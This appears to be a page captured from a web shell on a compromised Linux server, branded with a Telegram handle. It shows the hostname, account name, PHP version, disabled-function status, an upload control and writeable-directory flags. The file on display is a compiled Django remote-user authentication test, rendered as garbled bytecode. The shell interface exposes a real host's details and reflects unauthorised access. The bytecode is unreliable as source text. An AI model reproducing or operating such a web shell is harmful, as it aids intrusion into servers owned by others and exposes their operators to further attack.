https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/contrib/auth/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/contrib/auth/tests/test_remote_user.pyc
�
r�\c@sddlmZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZe
d	efd
��Y�Zdefd��YZe
d
efd��Y�Zdefd��YZe
defd��Y�ZdS(i����(tdatetime(tsettings(tauthenticate(tRemoteUserBackend(tUser(tskipIfCustomUser(tTestCase(ttimezonetRemoteUserTestcBsneZdZdZdZdZdZd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�ZRS(
sdjango.contrib.auth.tests.urlss3django.contrib.auth.middleware.RemoteUserMiddlewares.django.contrib.auth.backends.RemoteUserBackendt	knownusert
knownuser2cCsFtj|_tj|_tj|jf7_tj|jf7_dS(N(RtMIDDLEWARE_CLASSEStcurr_middlewaretAUTHENTICATION_BACKENDSt	curr_autht
middlewaretbackend(tself((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pytsetUpscCs�tjj�}|jjd�}|j|jdj��|jtjj�|�|jjddd�}|j|jdj��|jtjj�|�|jjddd�}|j|jdj��|jtjj�|�dS(sq
        Tests requests where no remote user is specified and insures that no
        users get created.
        s
/remote_user/tusertREMOTE_USERtN(
Rtobjectstcounttclienttgett
assertTruetcontexttis_anonymoustassertEqualtNone(Rt	num_userstresponse((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyttest_no_remote_userscCs�tjj�}|jjddd�}|j|jdjd�|jtjj�|d�tjjdd�|jjddd�}|jtjj�|d�dS(sj
        Tests the case where the username passed in the header does not exist
        as a User.
        s
/remote_user/RtnewuserRitusernameN(RRRRRRRR#(RRR ((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyttest_unknown_user0scCs�tjjdd�tjjdd�tjj�}|jjdd|j�}|j|jdj	d�|jtjj�|�|jjdd|j
�}|j|jdj	d�|jtjj�|�dS(sY
        Tests the case where the username passed in the header is a valid User.
        R#R	R
s
/remote_user/RRN(RRtcreateRRRt
known_userRRR#tknown_user2(RRR ((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyttest_known_user?scCs�tjjdd�}tddd�}tjrH|jdtj�}n||_	|j
�|jjdd|j
�}|j||jdj	�tjjdd�}||_	|j
�|jjdd|j
�}|j||jdj	�d	S(
s�
        Tests that a user's last_login is set the first time they make a
        request but not updated in subsequent requests with the same session.
        R#R	i�ittzinfos
/remote_user/RRN(RRR%RRtUSE_TZtreplaceRtutct
last_logintsaveRRR&tassertNotEqualRR(RRt
default_loginR ((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyttest_last_loginOs		
	
cCs�tjjdd�|jjdd|j�}|j|jdjd�|jjd�}|j|jdj	�t
�tjjdddd�|jjdddd�t
dddd�|jjd�}|j|jdjd�d	S(
s�
        Tests that a logged in user is logged out automatically when
        the REMOTE_USER header disappears during the same browser session.
        R#R	s
/remote_user/RRt	modelusertpasswordtfooN(RRR%RRR&RRR#RtTruetcreate_usertloginR(RR ((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyttest_header_disappearsescCs�tjjdd�|jjdi|jd6�}|j|jdjd�|jjdidd6�}|j	|jdjd�dS(s�
        Tests that if the username in the header changes between requests
        that the original user is logged out
        R#R	s
/remote_user/RRt
newnewuserN(
RRR%RRR&RRR#R/(RR ((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyt!test_user_switch_forces_new_loginyscCs|jt_|jt_dS(s0Restores settings to avoid breaking other tests.N(RRRRR
(R((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyttearDown�s(t__name__t
__module__turlsRRR&R'RR!R$R(R1R8R:R;(((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyRs							tRemoteUserNoCreateBackendcBseZdZeZRS(s*Backend that doesn't create unknown users.(R<R=t__doc__tFalsetcreate_unknown_user(((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyR?�stRemoteUserNoCreateTestcBseZdZdZd�ZRS(s�
    Contains the same tests as RemoteUserTest, but using a custom auth backend
    class that doesn't create unknown users.
    sDdjango.contrib.auth.tests.test_remote_user.RemoteUserNoCreateBackendcCs^tjj�}|jjddd�}|j|jdj��|jtjj�|�dS(Ns
/remote_user/RR"R(	RRRRRRRRR(RRR ((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyR$�s(R<R=R@RR$(((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyRC�stCustomRemoteUserBackendcBs eZdZd�Zd�ZRS(s;
    Backend that overrides RemoteUserBackend methods.
    cCs|jd�dS(s8
        Grabs username before the @ character.
        t@i(tsplit(RR#((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pytclean_username�scCsd|_|j�|S(s,
        Sets user's email address.
        suser@example.com(temailR.(RR((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pytconfigure_user�s	
(R<R=R@RGRI(((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyRD�s	tRemoteUserCustomTestcBs2eZdZdZdZdZd�Zd�ZRS(su
    Tests a custom RemoteUserBackend subclass that overrides the clean_username
    and configure_user methods.
    sBdjango.contrib.auth.tests.test_remote_user.CustomRemoteUserBackendsknownuser@example.comsknownuser2@example.comcCs[tt|�j�|jtjjdd�jd�|jtjjdd�jd�dS(s�
        The strings passed in REMOTE_USER should be cleaned and the known users
        should not have been configured with an email address.
        R#R	RR
N(tsuperRJR(RRRRRH(R((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyR(�s"cCs?tt|�j�tjjdd�}|j|jd�dS(sV
        The unknown user created should be configured with an email address.
        R#R"suser@example.comN(RKRJR$RRRRRH(RR"((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyR$�s(R<R=R@RR&R'R(R$(((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyRJ�s		N(Rtdjango.confRtdjango.contrib.authRtdjango.contrib.auth.backendsRtdjango.contrib.auth.modelsRtdjango.contrib.auth.tests.utilsRtdjango.testRtdjango.utilsRRR?RCRDRJ(((sL/tmp/pip-install-XxeQeY/django/django/contrib/auth/tests/test_remote_user.pyt<module>s�

https://t.me/AnonymousX5 - 2025